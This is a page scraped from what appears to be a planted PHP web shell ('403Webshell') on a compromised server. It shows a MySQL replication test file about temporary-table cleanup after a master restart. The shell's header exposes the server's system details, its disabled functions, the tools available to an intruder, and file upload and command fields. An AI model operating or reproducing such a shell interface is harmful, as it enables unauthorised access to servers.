403Webshell
Server IP : 104.21.38.3  /  Your IP : 162.158.170.97
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/rpl/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/rpl/t/rpl_create_drop_temp_table.test
###############################################################################
# Bug#18364070  BACKPORT BUG#18236612 TO MYSQL-5.6
# Problem & Analysis : When Slave SQL thread detects that Master was restarted
#  with the help of information sent by Master through 'FormatDescription'
#  event, slave SQL drops all the opened temporary tables in order to have
#  proper cleanup. While slave SQL thread is dropping the temporary tables, it
#  is not decrementing Slave_open_temp_tables count.
#  Fix: Decrement Slave_open_temp_tables count in this case.
# Steps to test:
#  1) Create a temporary table
#  2) Sync it with slave
#  3) Stop slave io thread
#  4) Kill Master which generates Format Description event
#  5) Restart Master again
#  6) Start slave io thread
#  7) Wait till SQL thread applies all events
#     (which includes newly generated Format Description event)
#  8) Now verify that Slave_open_temp_tables has '0' value

# This same test steps with gtid enabled mode, works to test the following
# bug as well.
# Bug#18069107 SLAVE CRASHES WITH GTIDS,TEMP TABLE, STOP IO_THREAD, START SLAVE
# Problem & Analysis : When Slave SQL thread detects that Master was restarted
#  with the help of information sent by Master through 'FormatDescription'
#  event, slave SQL drops all the opened temporary tables in order to have
#  proper cleanup. When Gtid mode is on and while slave SQL thread is
#  generating DROP TEMPORARY statement for all these temporary tables,
#  server is hitting an assert DEBUG_ASSERT(gtid.spec_type != UNDEF_GROUP)
###############################################################################

# Statement mode is enough (row based temporary
# tables are not replicated)
--source include/have_binlog_format_statement.inc
--source include/master-slave.inc

# 1. Create a temporary table
CREATE TEMPORARY TABLE temp (i INT);

# 2. Sync it with slave
--sync_slave_with_master

# 3. Stop slave io thread
--source include/stop_slave_io.inc

# 4. Kill Master so that it does not go through THD::cleanup logic. Hence it does
# not generate "drop temporary" query for 'temp' table.
--let $rpl_server_number= 1
--let $rpl_force_stop=1
--source include/rpl_stop_server.inc

# 5. Restart Master (generates Format Description event which tells slave to
# drop all temporary tables)
--source include/rpl_start_server.inc

# 6. Start slave io_thread
--connection slave
--source include/start_slave_io.inc
--connection master
--source include/sync_slave_io_with_master.inc

# 7. Wait for slave thread to apply all events (including the newly generated
# FormatDescription event which tells slave SQL thread to drop all temporary
--let $show_statement= SHOW PROCESSLIST
--let $field= State
--let $condition= = 'Slave has read all relay log; waiting for more updates';
--source include/wait_show_condition.inc

# 8.Now if we verify slave_open_temp_tables, it should be '0'
--let $var_value= query_get_value(SHOW STATUS LIKE 'Slave_open_temp_tables', Value, 1)
--let $assert_text= Slave_open_temp_tables should be 0
--let $assert_cond= $var_value = 0
--source include/assert.inc

--source include/rpl_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit